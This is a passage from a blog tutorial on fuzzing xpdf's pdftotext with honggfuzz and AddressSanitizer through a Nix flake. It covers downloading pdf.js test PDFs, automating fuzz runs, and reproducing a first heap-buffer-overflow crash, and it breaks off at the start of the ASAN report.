&lt;h2 id="downloading-even-more-tricky-pdfs">Downloading even more tricky PDFs&lt;/h2>
&lt;p>In addition to the PDFs themselves, the pdf.js repo contains several hundred &lt;code>.link&lt;/code> files that contain URLs of external PDFs.&lt;/p>
&lt;p>I couldn&amp;rsquo;t figure out how to download the PDFs from the &lt;code>.link&lt;/code> file URLs, as the &lt;code>mkDerivation&lt;/code> step blocks Internet access. I could use the &lt;code>fetchUrl&lt;/code> command, but I&amp;rsquo;d have to write hundreds of them.&lt;/p>
&lt;p>&lt;a href="https://github.com/antonmosich">Anton Mosich&lt;/a> showed me an elegant way to download the PDFs from all the &lt;code>.link&lt;/code> files. He told me that if you specify &lt;code>outputHash&lt;/code>, &lt;code>outputHashMode&lt;/code>, &lt;code>outputHashAlgo&lt;/code>, then Nix relaxes rules and allows Internet access during the build.&lt;/p>
&lt;p>I initially tried downloading each file with &lt;code>curl&lt;/code>, but that was prohibitively slow, because it was downloading each file sequentially. I found a utility called aria2c that downloads URLs in parallel, which made the process significantly quicker:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> packages = &lt;span style="color:#6ab825;font-weight:bold">rec&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sample-pdfs = pkgs.stdenv.mkDerivation &lt;span style="color:#6ab825;font-weight:bold">rec&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> pname = &lt;span style="color:#ed9d13">&amp;#34;sample-pdfs&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> version = &lt;span style="color:#ed9d13">&amp;#34;4.7.76&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> src = pkgs.fetchzip {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> url = &lt;span style="color:#ed9d13">&amp;#34;https://github.com/mozilla/pdf.js/archive/refs/tags/v&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>version&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">.zip&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> hash = &lt;span style="color:#ed9d13">&amp;#34;sha256-2xt8j2xJ3Teg/uiwjbWnpR6zckdxsp3LVbfsbBc3Dco=&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> nativeBuildInputs = [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> pkgs.aria2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> SSL_CERT_FILE = &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>pkgs.cacert&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/etc/ssl/certs/ca-bundle.crt&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> buildPhase = &lt;span style="color:#ed9d13">&amp;#39;&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> # Extract the URLs and filenames from .link files into an input
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> # file of URLs for aria2c.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> url_file=$(mktemp)
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> for pdf in $src/test/pdfs/*.pdf.link; do
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> url=$(sed &amp;#39;s/\r$//&amp;#39; &amp;#34;$pdf&amp;#34;)
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> filename=$(basename &amp;#34;$pdf&amp;#34; .link)
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> echo &amp;#34;$url&amp;#34; &amp;gt;&amp;gt; &amp;#34;$url_file&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> echo &amp;#34; out=$filename&amp;#34; &amp;gt;&amp;gt; &amp;#34;$url_file&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> done
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> aria2c \
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> --input-file=&amp;#34;$url_file&amp;#34; \
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> --max-tries=5 \
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> --retry-wait=20 \
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> --auto-file-renaming=false \
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> --max-concurrent-downloads=5 \
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> --max-connection-per-server=1 \
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> --dir=.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> cp $src/test/pdfs/*.pdf .
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> &amp;#39;&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> installPhase = &lt;span style="color:#ed9d13">&amp;#39;&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> mkdir -p $out
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> cp -r . $out
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> &amp;#39;&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># We need to specify the output hash so that Nix allows Internet&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># access during the build.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> outputHash = &lt;span style="color:#ed9d13">&amp;#34;sha256-lcPF6AQNVsXH2RIiyGZQpp5VjcaBhtolQxmbqSduCNs=&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> outputHashMode = &lt;span style="color:#ed9d13">&amp;#34;recursive&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> outputHashAlgo = &lt;span style="color:#ed9d13">&amp;#34;sha256&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I run the updated &lt;code>sample-pdfs&lt;/code> step with &lt;code>nix build&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>nix build .#sample-pdfs
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And if I check the &lt;code>./result&lt;/code> directory, I see that it now has 437 more files than it did when I was copying only the PDF files in the repo:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ ls ./result | wc --lines
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#3677a9">1137&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="automating-fuzz-runs">Automating fuzz runs&lt;/h2>
&lt;p>In part 1 of this series, I showed how to &lt;a href="https://mtlynch.io/nix-fuzz-testing-1/#ad-hoc-fuzzing-in-a-dev-shell">run honggfuzz manually from a Nix dev shell&lt;/a>. I can make that process even easier by defining a launch command for the fuzzer in my Nix flake.&lt;/p>
&lt;p>To start, I add a new shell script for launching honggfuzz:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> packages = &lt;span style="color:#6ab825;font-weight:bold">rec&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> xpdf = pkgs.stdenv.mkDerivation &lt;span style="color:#6ab825;font-weight:bold">rec&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> fuzz-xpdf = pkgs.writeShellScriptBin &lt;span style="color:#ed9d13">&amp;#34;fuzz-xpdf&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> readonly CORPUS_DIR=&amp;#39;fuzz-corpus&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> mkdir -p &amp;#34;$CORPUS_DIR&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> # Copy the source corpus into a new directory for active fuzzing.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> cp --force &lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>sample-pdfs&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/*.pdf &amp;#34;$CORPUS_DIR&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> &lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>pkgs.honggfuzz&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/bin/honggfuzz \
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> --input &amp;#34;$CORPUS_DIR&amp;#34; \
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> --instrument \
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> --timeout 10 \
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> -- &lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>xpdf&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/bin/pdftotext ___FILE___
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> &amp;#39;&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I build the shell script with &lt;code>nix build&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>nix build .#fuzz-xpdf
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Nix then creates a bash script at &lt;code>./result/bin/fuzz-xpdf&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ cat ./result/bin/fuzz-xpdf
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">#!/nix/store/1xhds5s320nfp2022yjah1h7dpv8qqns-bash-5.2p32/bin/bash&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">readonly&lt;/span> &lt;span style="color:#40ffff">CORPUS_DIR&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;fuzz-corpus&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>mkdir -p &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$CORPUS_DIR&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Copy the source corpus into a new directory for active fuzzing.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>cp --force /nix/store/gncc6jy3cry5lwbkd2b54h1dg46wfkdc-sample-pdfs-4.7.76/*.pdf &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">CORPUS_DIR&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/nix/store/kb9vkjv4admbdixrjyanfb1i9dd3cbmm-honggfuzz-2.6/bin/honggfuzz &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --input &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$CORPUS_DIR&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --instrument &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -- /nix/store/pixq8qiqyy6iwsc4wisb1vrmgy7l1kas-xpdf-4.05/bin/pdftotext ___FILE___
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>In the shell script, Nix replaced all the Nix variables with absolute paths. The bash variable (&lt;code>CORPUS_DIR&lt;/code>) remains a symbol so that bash can interpret it at script runtime.&lt;/p>
&lt;p>If I run the shell script, it starts a new fuzzing session:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>./result/bin/fuzz-xpdf
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That command should produce a screen like this:&lt;/p>




















 
 
 







&lt;figure class="img" style="max-width: 591px">



 &lt;a href="https://mtlynch.io/nix-fuzz-testing-2/hfuzz.webp">
 &lt;img
 
 sizes="(min-width: 768px) 591px, 98vw"
 srcset='https://mtlynch.io/nix-fuzz-testing-2/hfuzz_hu_8ea06db6bcd7a785.webp 300w, https://mtlynch.io/nix-fuzz-testing-2/hfuzz.webp 591w'
 src="https://mtlynch.io/nix-fuzz-testing-2/hfuzz.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I can now run honggfuzz from my launcher script&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>This works, but I&amp;rsquo;d have to remember to run the &lt;code>nix build&lt;/code> command first every time I execute the shell script. Nix offers an even simpler solution with its &lt;code>apps&lt;/code> feature.&lt;/p>
&lt;p>I add an &lt;code>apps&lt;/code> definition to my Nix flake after the &lt;code>packages&lt;/code> section:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> packages = &lt;span style="color:#6ab825;font-weight:bold">rec&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> apps = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> default = self.apps.&lt;span style="color:#ed9d13">${&lt;/span>system&lt;span style="color:#ed9d13">}&lt;/span>.fuzz-xpdf;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> fuzz-xpdf = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> type = &lt;span style="color:#ed9d13">&amp;#34;app&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> program = &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>self.packages.&lt;span style="color:#ed9d13">${&lt;/span>system&lt;span style="color:#ed9d13">}&lt;/span>.fuzz-xpdf&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/bin/fuzz-xpdf&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>With my &lt;code>fuzz-xpdf&lt;/code> app in place, I kick off fuzzing with a single command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>nix run .#fuzz-xpdf
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I declared &lt;code>fuzz-xpdf&lt;/code> as the default app for this flake, so I can actually use an even simpler command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>nix run
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>At this point, &lt;code>flake.nix&lt;/code> should &lt;a href="https://gitlab.com/mtlynch/fuzz-xpdf/-/blob/05-launch-honggfuzz/flake.nix">look like this&lt;/a>.&lt;/p>
&lt;p>Now, the fuzzing workflow is complete.&lt;/p>
&lt;p>I can put this Nix flake in a brand new directory, and when I run &lt;code>nix run&lt;/code>, it will download all the tricky PDFs, compile xpdf, and start fuzzing. I can let honggfuzz run indefinitely and see what crashes it finds.&lt;/p>




















 
 
 







&lt;figure class="img" style="max-width: 591px">



 &lt;a href="https://mtlynch.io/nix-fuzz-testing-2/hfuzz.webp">
 &lt;img
 
 sizes="(min-width: 768px) 591px, 98vw"
 srcset='https://mtlynch.io/nix-fuzz-testing-2/hfuzz_hu_8ea06db6bcd7a785.webp 300w, https://mtlynch.io/nix-fuzz-testing-2/hfuzz.webp 591w'
 src="https://mtlynch.io/nix-fuzz-testing-2/hfuzz.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>With the addition of a &lt;code>fuzz-xpdf&lt;/code> app in my Nix flake, I have a complete fuzzing workflow. I could run the fuzzer indefinitely and let it find bugs.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="turning-subtle-memory-errors-into-loud-crashes-with-asan">Turning subtle memory errors into loud crashes with ASAN&lt;/h2>
&lt;p>By this point, my fuzzing workflow is functional, but I can run it more efficiently.&lt;/p>
&lt;p>When fuzz testing, you only know when you&amp;rsquo;ve found an interesting bug when it causes the target application to crash. The problem is that there are lots of ways to make a program misbehave without crashing it.&lt;/p>
&lt;p>One of the most famous examples of a security bug with no crashes is the 2014 &lt;a href="https://heartbleed.com/">Heartbleed&lt;/a> bug in OpenSSL. It allowed attackers to extract sensitive information from web servers but didn&amp;rsquo;t cause them to crash. Tricking a program into reading or writing memory outside the intended boundaries doesn&amp;rsquo;t always crash it.&lt;/p>
&lt;p>The good news is that there&amp;rsquo;s a tool that forces otherwise non-crashy memory errors to crash the program immediately. &lt;a href="https://github.com/google/sanitizers/wiki/addresssanitizer">Address Sanitizer (ASAN)&lt;/a> adds extra safety checks to a program&amp;rsquo;s memory reads and writes that crash with debug output if the program attempts to read or write beyond a variable&amp;rsquo;s memory location.&lt;/p>
&lt;p>Adding ASAN to my fuzzing workflow allows me to find more memory bugs than I otherwise would. To compile xpdf with ASAN enabled, I add &lt;code>-fsanitize=address&lt;/code> to xpdf&amp;rsquo;s compilation step:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> packages = &lt;span style="color:#6ab825;font-weight:bold">rec&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> xpdf = pkgs.stdenv.mkDerivation &lt;span style="color:#6ab825;font-weight:bold">rec&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> preConfigure = &lt;span style="color:#ed9d13">&amp;#39;&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> export CC=&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>pkgs.honggfuzz&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/bin/hfuzz-clang
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> export CXX=&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>pkgs.honggfuzz&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/bin/hfuzz-clang++
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> # Use address sanitizer (ASAN).
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> export CFLAGS=&amp;#34;$CFLAGS -fsanitize=address&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> export CXXFLAGS=&amp;#34;$CXXFLAGS -fsanitize=address&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> &amp;#39;&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>At this point, &lt;code>flake.nix&lt;/code> should &lt;a href="https://gitlab.com/mtlynch/fuzz-xpdf/-/blob/06-asan/flake.nix">look like this&lt;/a>.&lt;/p>
&lt;p>Now, I&amp;rsquo;m finally ready to kick off my fuzzer and let it find some bugs for me. With my Nix flake, that&amp;rsquo;s as simple as running:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>nix run
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="finding-my-first-crash">Finding my first crash&lt;/h2>
&lt;p>I let honggfuzz run for two hours and checked back to find that it discovered its first crash:&lt;/p>




















 
 
 

 
 
 






&lt;div class="img" style="max-width: 670px">



 &lt;a href="https://mtlynch.io/nix-fuzz-testing-2/hfuzz-crash.webp">
 &lt;img
 
 sizes="(min-width: 768px) 670px, 98vw"
 srcset='https://mtlynch.io/nix-fuzz-testing-2/hfuzz-crash_hu_2dc8ca9196f3fb9b.webp 300w, https://mtlynch.io/nix-fuzz-testing-2/hfuzz-crash_hu_447975bc7204091d.webp 600w, https://mtlynch.io/nix-fuzz-testing-2/hfuzz-crash.webp 670w'
 src="https://mtlynch.io/nix-fuzz-testing-2/hfuzz-crash.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>honggfuzz saved the PDF that caused the crash in a file named:&lt;/p>
&lt;ul>
&lt;li>&lt;code>SIGABRT.PC.55555592fff5.STACK.1bb46b81df.CODE.-6.ADDR.0.INSTR.mov____%eax,%edx.fuzz&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>To reproduce the crash, I ran the following commands:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Specify the path to the crashing PDF.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">CRASHING_PDF&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;SIGABRT.PC.55555592fff5.STACK.1bb46b81df.CODE.-6.ADDR.0.INSTR.mov____%eax,%edx.fuzz&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Rebuild pdftotext in the result folder&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>nix build
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Run pdftotext with the crashing PDF.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./result/bin/pdftotext &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">CRASHING_PDF&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> /dev/null
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The program indeed crashes, with ASAN reporting that it caught a buffer overflow:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>==1259902==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200002228f at pc 0x557c3230bd58 bp 0x7ffd7f070cf0 sp 0x7ffd7f070ce8
